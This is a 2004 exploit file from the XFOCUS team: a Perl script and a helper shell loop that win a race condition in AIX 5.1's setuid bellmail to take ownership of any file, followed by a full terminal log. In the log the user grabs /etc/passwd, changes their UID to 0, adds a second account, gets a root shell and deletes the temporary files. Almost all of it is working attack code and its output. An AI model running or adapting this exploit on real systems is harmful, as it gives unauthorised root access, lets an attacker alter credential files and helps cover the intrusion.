x_aix5_bellmail.pl.txt

`-bash-2.05b$  
-bash-2.05b$ cat x_aix5_bellmail.pl  
#!/usr/bin/perl  
# FileName: x_aix5_bellmail.pl  
# Exploit "Race condition vulnerability (BUGTRAQ ID: 8805)" of /usr/bin/bellmail  
# command on Aix5 to change any file owner to current user.  
#  
#Usage : x_aix5_bellmail.pl aim_file  
# aim_file : then file wich you want to chown to you.  
# Note : Maybe you should run more than one to "Race condition".  
# The file named "x_bell.sh" can help you to use this exp.  
# You should type "w" "Enter" then "q" "Enter" key on keyboard  
# as fast as you can when bellmail prompt "?" appear.  
#  
# Author : [email protected]  
# XFOCUS Team   
# http://www.xfocus.net (CN)  
# http://www.xfocus.org (EN)  
# http://xcon.xfocus.org (XCon's Home)  
#  
# Date : 2004-6-6  
# Tested : on Aix5.1.  
# Addition: IBM had offered a patch named "IY25661" for it.  
# Announce: use as your owner risk!  
  
$CMD="/usr/bin/bellmail";  
$MBOX="$ENV{HOME}/mbox";  
$TMPFILE="/tmp/.xbellm.tmp";  
  
$AIM_FILE = shift @ARGV ;  
$FORK_NUM = 1000;  
  
die "AIM FILE \"$AIM_FILE\" not exist.\n" if ! -e $AIM_FILE;  
  
unlink $MBOX;  
system "echo abc > $TMPFILE";  
system "$CMD $ENV{LOGIN} < $TMPFILE";  
unlink $TMPFILE;  
  
$ret=`ls -l $AIM_FILE"`;  
print "Before: $ret";  
  
if( fork()==0 )  
{  
&deamon($FORK_NUM);  
exit 0 ;  
}  
sleep( (rand()*100)%4);  
exec $CMD;  
  
$ret=`ls -l $AIM_FILE"`;  
print "Now: $ret";  
  
sub deamon {  
$num = shift || 1;  
for($i=0;$i<$num;$i++) {  
&do_real() if fork()==0;  
}  
}  
sub do_real {  
if(-e $MBOX) {  
unlink $MBOX ;  
symlink "$AIM_FILE",$MBOX;  
}  
exit 0;  
}  
#EOF  
  
  
  
  
  
  
  
-bash-2.05b$  
-bash-2.05b$ cat x_bellmail.sh  
#!/bin/sh  
#File:x_bellmail.sh  
#The assistant of x_aix5_bellmail.pl  
#Author : [email protected]  
#Date :2004-6-6  
#  
  
X_BELL_PL="./x_aix5_bellmail.pl"  
AIM=$1  
  
if [ $# ne 1 ] ;then  
echo "Need a aim file name as argv."  
exit 1;  
fi  
  
if [ ! -e "$1" ];then  
echo "$1 not exist!"  
exit 1  
fi  
if [ ! -x "$X_BELL_PL" ];then  
echo "can not exec $X_BELL_PL"  
exit 1  
fi  
  
ret=`ls -l $AIM`  
echo $ret; echo  
fuser=`echo $ret |awk '{print $3}'`  
while [ "$fuser" != "$LOGIN" ]  
do  
$X_BELL_PL $AIM  
ret=`ls -l $AIM`  
echo $ret;echo  
fuser=`echo $ret |awk '{print $3}'`  
done  
echo $ret; echo  
#EOF  
  
  
  
  
-bash-2.05b$ id  
uid=201(cloud) gid=1(staff)  
-bash-2.05b$  
-bash-2.05b$ oslevel  
5.1.0.0  
-bash-2.05b$ oslevel -r  
5100-01  
-bash-2.05b$ ls -l /usr/bin/bellmail  
-r-sr-sr-x 1 root mail 30208 Aug 09 2003 /usr/bin/bellmail  
-bash-2.05b$ ls -l /etc/passwd  
-rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
-bash-2.05b$ cp /etc/passwd /tmp/  
  
  
-bash-2.05b$ ./x_bellmail.sh /etc/passwd  
./x_bellmail.sh[11]: ne: 0403-012 A test command parameter is not valid.  
-rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
  
Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
From cloud Sun Jun 6 08:49:30 2004  
abc  
  
? w  
From cloud Sun Jun 6 08:25:20 2004  
abc  
  
? q  
-rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
  
Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
From cloud Sun Jun 6 08:49:35 2004  
abc  
  
? w  
From cloud Sun Jun 6 08:25:20 2004  
abc  
  
? q  
-rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
  
Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
From cloud Sun Jun 6 08:49:40 2004  
abc  
  
? w  
From cloud Sun Jun 6 08:25:20 2004  
abc  
  
? q  
-rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
  
Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
From cloud Sun Jun 6 08:49:43 2004  
abc  
  
? w  
From cloud Sun Jun 6 08:25:20 2004  
abc  
  
? q  
-rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
  
Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
w  
From cloud Sun Jun 6 08:49:48 2004  
abc  
  
? From cloud Sun Jun 6 08:25:20 2004  
abc  
  
? w  
bellmail: cannot append to /home/cloud/mbox  
? w  
bellmail: cannot append to /home/cloud/mbox  
? q  
-rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
  
Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
From cloud Sun Jun 6 08:49:56 2004  
abc  
  
? w  
From cloud Sun Jun 6 08:25:20 2004  
abc  
  
? q  
-rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
  
Before: -rw-r--r-- 1 root security 570 Jun 03 22:59 /etc/passwd  
From cloud Sun Jun 6 08:50:01 2004  
abc  
  
? w  
From cloud Sun Jun 6 08:25:20 2004  
abc  
  
? q  
-rw-r--r-- 1 cloud staff 570 Jun 03 22:59 /etc/passwd  
  
-rw-r--r-- 1 cloud staff 570 Jun 03 22:59 /etc/passwd  
  
  
  
  
  
  
-bash-2.05b$ cat /etc/passwd  
root:!:0:0::/:/usr/bin/ksh  
daemon:!:1:1::/etc:  
bin:!:2:2::/bin:  
sys:!:3:3::/usr/sys:  
adm:!:4:4::/var/adm:  
uucp:!:5:5::/usr/lib/uucp:  
guest:!:100:100::/home/guest:  
nobody:!:4294967294:4294967294::/:  
lpd:!:9:4294967294::/:  
lp:*:11:11::/var/spool/lp:/bin/false  
invscout:*:200:1::/var/adm/invscout:/usr/bin/ksh  
nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico  
snapp:*:177:1:snapp login user:/usr/sbin/snapp:/usr/sbin/snappd  
imnadm:*:188:188::/home/imnadm:/usr/bin/ksh  
cloud:!:201:1::/home/cloud:/usr/local/bin/bash  
  
  
  
-bash-2.05b$ cat /tmp/passwd |sed 's/cloud:!:201:/cloud:!:0:/' >/etc/passwd  
  
  
-bash-2.05b$ su cloud  
cloud's Password:  
3004-502 Cannot get "LOGNAME" variable.  
-bash-2.05b$ id  
uid=201 gid=1(staff)  
-bash-2.05b$ ls -l /etc/passwd  
-rw-r--r-- 1 201 staff 568 Jun 06 08:56 /etc/passwd  
-bash-2.05b$ echo 'test:!:201:1::/home/cloud:/usr/local/bin/bash' >> /etc/passwd  
-bash-2.05b$ cat /etc/passwd  
root:!:0:0::/:/usr/bin/ksh  
daemon:!:1:1::/etc:  
bin:!:2:2::/bin:  
sys:!:3:3::/usr/sys:  
adm:!:4:4::/var/adm:  
uucp:!:5:5::/usr/lib/uucp:  
guest:!:100:100::/home/guest:  
nobody:!:4294967294:4294967294::/:  
lpd:!:9:4294967294::/:  
lp:*:11:11::/var/spool/lp:/bin/false  
invscout:*:200:1::/var/adm/invscout:/usr/bin/ksh  
nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico  
snapp:*:177:1:snapp login user:/usr/sbin/snapp:/usr/sbin/snappd  
imnadm:*:188:188::/home/imnadm:/usr/bin/ksh  
cloud:!:0:1::/home/cloud:/usr/local/bin/bash  
test:!:201:1::/home/cloud:/usr/local/bin/bash  
  
  
-bash-2.05b$ su cloud  
cloud's Password:  
bash-2.05b# id  
uid=0(root) gid=1(staff)  
bash-2.05b# ls -l /etc/passwd  
-rw-r--r-- 1 test staff 614 Jun 06 08:58 /etc/passwd  
bash-2.05b# cp /tmp/passwd /etc/passwd  
bash-2.05b# chown root /tmp/passwd  
bash-2.05b# ls -l /tmp/passwd  
-rw-r--r-- 1 root staff 570 Jun 06 08:48 /tmp/passwd  
bash-2.05b# id  
uid=0(root) gid=1(staff)  
bash-2.05b#  
bash-2.05b# rm /tmp/.bel*  
bash-2.05b# rm /tmp/passwd  
bash-2.05b#  
  
  
  
--   
EMAIL:[email protected]  
SITE :http://www.xfocus.org (EN)  
http://www.xfocus.net (CN)  
`